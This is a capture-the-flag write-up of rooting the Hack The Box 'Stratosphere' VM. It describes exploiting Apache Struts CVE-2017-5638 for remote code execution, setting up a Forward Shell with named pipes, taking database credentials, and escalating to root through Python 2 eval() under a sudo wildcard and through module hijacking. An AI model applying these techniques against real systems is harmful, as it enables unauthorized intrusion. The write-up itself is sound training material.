Today, I will show how to conquer the stratosphere – i.e. gain root access on the Stratosphere VM available on Hack The Box CTF grounds. To capture the root flag, I will have to overcome the Apache Struts framework to get an RCE vulnerability in a web app, put to practice the rarely used (but still very useful) Forward Shell remote session concept, highjack a library, and find a way to exploit the eval() function in a treacherous Python script.

The difficulty of this virtual machine is not too high: 5.2 out of the 10. Still, conquering Stratosphere was a true pleasure for me thanks to the possibility to practice in the rarely used Forward Shell technique.

To make my way to the superuser flag, I will have to:

• conduct reconnaissance and collect information on the running software to detect the Apache Struts framework;
• identify weak spots in Struts to attack a web app built on Java EE и Action;
• find a convenient way to interact with the host amid strict filtering of the outbound HTTP traffic;
• discover a weak password to the MySQL database and extract user authentication credentials from it to connect to the target VM via SSH;
• exploit a vulnerable Python app in two ways: (1) by abusing the eval() function; and (2) by hijacking an imported module.

Intelligence collection

As usual, I start from scanning open ports with Nmap.

As you can see, Nmap displays a huge amount of information. The greater portion of it is useless (including service fingerprints the scanner failed to identify), and I don’t provide it here. I also omitted responses to GET requests sent by Nmap to the web (i.e. to ports 80 and 8080).

Aside from that, the scheme seems (so far) to be pretty classical:

• Secure Shell is running on port 22; this enables me to identify the OS version: the deb packet revision in the OpenSSH banner clearly indicates that this is a virtual machine with a Debian v.9 distribution (Stretch); and
• an unidentified web server is running on port 80, while an unidentified proxy server is running on port 8080.

As usual, I start from the web.

Web – port 80

I check the web server for vulnerabilities that could be used as entry points to the target machine.

Browser

At http://10.10.10.64, I see a colorful gradient of the Stratosphere website.

I click the button “GET STARTED NOW” and the server takes me to a page with the following content:

    
    


    
Site under construction. Please check back later.

Allegedly, the site is empty because it’s under construction. Following the classical reconnaissance strategy, I scan the servers for dictionary directories.

gobuster

My favorite search tool for default directories is gobuster. This multithreaded brute-forcer is written in Go; this allows to easily drop a binary into the system and run it immediately. The developer maintains gobuster in an actual state and introduces significant changes with every new version. Most importantly, this utility is really fast.

Using the -u option, I specify the required host and the wordlist to brute-force directory names (one of the standard Kali wordlists). Then I launch the brute-forcing procedure using the -w option (path to the wordlist) and the -e option (the expanded mode allowing to print full URLs); for reporting purposes, the output is saved in an external file using the -o option.

After discovering two promising addresses, I stopped brute-forcing (there is nothing more of interest there, trust me) and started reviewing the output.

/manager

After following the link to http://10.10.10.64/manager, I see a standard Apache Tomcat server manager. Of course, I have no access to it.

/Monitoring

The page at http://10.10.10.64/Monitoring is much more interesting.

The SIGN ON and REGISTER buttons are of little use: both of them take me to the message that the site is still under construction.

Apache Struts

The main lead is the Action app shown on the previous screenshot, such apps are associated with the Struts framework.

Struts is used to create web apps based on the Java EE technology – a set of Java rules and specifications describing the architecture of the server platform used to develop apps.

To put it simply, Struts is an implementation of the Model-View-Controller (MVC) concept developed by the Apache Software Foundation. An Action is the client’s request processed by the controller (ActionServlet) on the server. The traffic circulation in the Apache Struts universe is shown on the picture below.

One might say: “That’s great, but how it helps us to penetrate into the system?” The point is that not that long ago, a vulnerability was discovered in the above interaction mechanism. This vulnerability allows to execute arbitrary code on a remote host, and its severity was recognized critical (10 out of the 10 according to the CVSSv2 notation).

Of course, this is not HeartBleed with its 11 out of the 10, but the threat is very serious indeed. Let’s see what searchsploit says in this respect. Two years have passed since the discovery of CVE-2017-5638, and I bet that an elegant exploit to it can be found in Exploit-DB.

Apparently, exploits/linux/webapps/41570.py is exactly what I need. This Python script was created as a PoC demonstrating the exploitation of CVE-2017-5638. Due to the incorrect exception handling during the processing of a specially crafted malicious Content-Type header, the attacker gets the RCE ability. Let’s test the exploit.

So, now I can remotely execute commands on the server. Leaping ahead, I must tell that I could escalate my privileges on this virtual machine to user by simply executing commands this way – i.e. without a fully featured reverse shell (like the one used to hack Mischief). Furthermore, it turned out that a reverse shell could not be used on Stratosphere due to the strict filtering of the outbound HTTP traffic. But I am not looking for shortcuts, and this VM became an excellent opportunity to try another way to get a remote session on a vulnerable host: Forward Shell.

Forward Shell

The main idea of this method is that you get the command line by creating a named pipe (let’s call it stdin) on the target Linux PC. The pipe is created using mkfifo and an output file (let’s call it stdout), which is used to save command outputs. Then the /bin/sh process is bound to stdin using the tail utility; the output of this process is redirected to stdout. The -f flag of the tail utility ensures that the command execution process is not interrupted even at end of the input (i.e. when the file reading is completed, and no more commands are received).

For clarity purposes, I will demonstrate on a local machine what I am going to do with Stratosphere.

1. In the upper panel, I create a named pipe (stdin), bind its input to the /bin/sh shell, and redirect output to the stdout file.
2. In the lower panel, I send commands to stdin and read the results of their execution from stdout. The output file is cleared after each reading (so that I view only the output of the last instruction).

Important: this scheme of interaction with the terminal session allows to remember the current work directory and execute command on behalf of other PTY processes (my example involves Python).

The concept has a practical implementation – a tiny handmade combat framework named FwdSh3ll. It does approximately the same as I have just demonstrated – but automatically and on a remote PC (commands issued by the user are encoded in Base64 for transmission over the web). Additionally, a parallel thread is launched in the background; it reads stdout at some interval and returns its content (i.e. the result of the last executed command).

The framework can be downloaded from GitHub.

What is its principal difference between the Forward Shell and well-known Reverse Shell and Bind Shell schemes? The key feature of Forward Shell is that the attacked host does not send the output of executed commands anywhere. As a result, everything seems transparent on the victim’s side: all operations (both the execution of commands and display of their results) are performed locally; accordingly, there is no need to ring the alarm bells and send complaints to iptables. But of course, you must be able to execute the required code on a remote PC; this is the keystone.

Exploring the host

After getting the possibility to execute commands on the target machine, I start exploring it. First of all, I need to find out who am I and what is the kernel version.

Expectedly, the commands are executed on behalf of tomcat8, a low-privileged user who runs the web server.

The kernel version is 4.9.0-6; accordingly, I cannot escalate my privileges using DirtyCow. OK, let’s examine the file system.

I found db_connect, a text file containing authentication credentials for connection to the database. Apparently, this is my next checkpoint.

PrivEsc: tomcat8 → richard

Let’s see what’s inside the MySQL database. The first pair of credentials – ssn_admin:AWs64@on*& – turned out to be a ‘rabbit hole’ created to distract the attacker’s attention. From that account, you can see only an empty database. So, I try the second pair of credentials.

I log in as admin and request the tables.

The users database contains the accounts table whose content is of utmost interest to me. To be specific, it stores the authentication data of the user called ‘richard’.

SSH – port 22

Time to connect to the target VM over SSH. For convenience purposes, I transmit the password as a command line argument using sshpass and skip the certificate verification (after all, this is a training machine).

user.txt

Time to grab the user flag.

The test.py script seems to be of utmost interest. Let’s examine it in more detail.

#!/usr/bin/python3
import hashlib

def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    md5.update(q1.encode())
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
        return
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
    sha1 = hashlib.sha1()
    sha1.update(q2.encode())
    if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
        print("Nope, that one didn't work...")
        return
    print("WOW, you're really good at this!")
    q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
    md4 = hashlib.new('md4')
    md4.update(q3.encode())
    if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
        print("Yeah, I don't think that's right.")
        return
    print("OK, OK! I get it. You know how to crack hashes...")
    q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
    blake = hashlib.new('BLAKE2b512')
    blake.update(q4.encode())
    if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
        print("You were so close! urg... sorry rules are rules.")
        return

    import os
    os.system('/root/success.py')
    return

question()

So, the script asks me to reverse a few hashes and promises to execute the file /root/success.py as a reward. I smell a rat and start looking for an alternative way to exploit this suspicious code.

PrivEsc: richard → root. Method 1

First of all, I notice that the shebang points to python3. The python symlink also points to the Python v3 interpreter.

For the second time, I am strongly recommended to run the script using the third version of Python. Isn’t it strange? Keeping in mind who is the file owner, I examine the output of sudo -l.

It turns out that all users can execute test.py with escalated privileges using /usr/bin/python*. The problem is that the ‘star’ symbol gives a free hand to all malefactors who managed to get to this point. As is known, in Python 2, the input() function is equivalent to the construction eval(raw_input()). Therefore, if I run test.py using /usr/bin/python2 with sudo, I would be able to execute commands on behalf of root. Let’s try this variant.

I check what Python versions are available in the system.

So, I can execute /home/richard/test.py with Python 2 and send the /bin/bash string as an argument to the eval()function (that will, in fact, receive my input) to get a superuser session. To do so, I import the os module using the global import function (__import__()) and then call the system() function with the ‘dot’ operator. This trick should go well because the import function will return the pointer to the object of the above-mentioned os module.

root.txt

Time has come to expose the liars who had promised to execute the nonexistent file /root/success.py:

Even though this is not necessary anymore, I am going to crack a few hashes in the epilogue. Just to warm up a little bit.

PrivEsc: richard → root. Method 2

In the very beginning of the source code, the hashlib library is imported to calculate hash values of the input strings. Let’s hijack this library! To do so, I have to find out the resolution order for paths used to import the modules. This can be done directly from Python.

The empty quotes in the beginning indicate the current work directory (CWD). Great! I create a fake library containing the required payload and name it hashlib.py. I could create a reverse shell or get a root session similarly to the first method; but for the sake of simplicity, I just want to display the flag on the screen – the idea is clear.

Then I run the script with a safe conscience:

I clean up all traces of my activities in the system and that’s it.

Epilogue: brute-forcing hashes

Just for fun, I ask my friend John to crack the hashes as test.py suggests.

Then I feed them to /home/richard/test.py.

This reaffirms the earlier conclusion: never trust treacherous Python tests!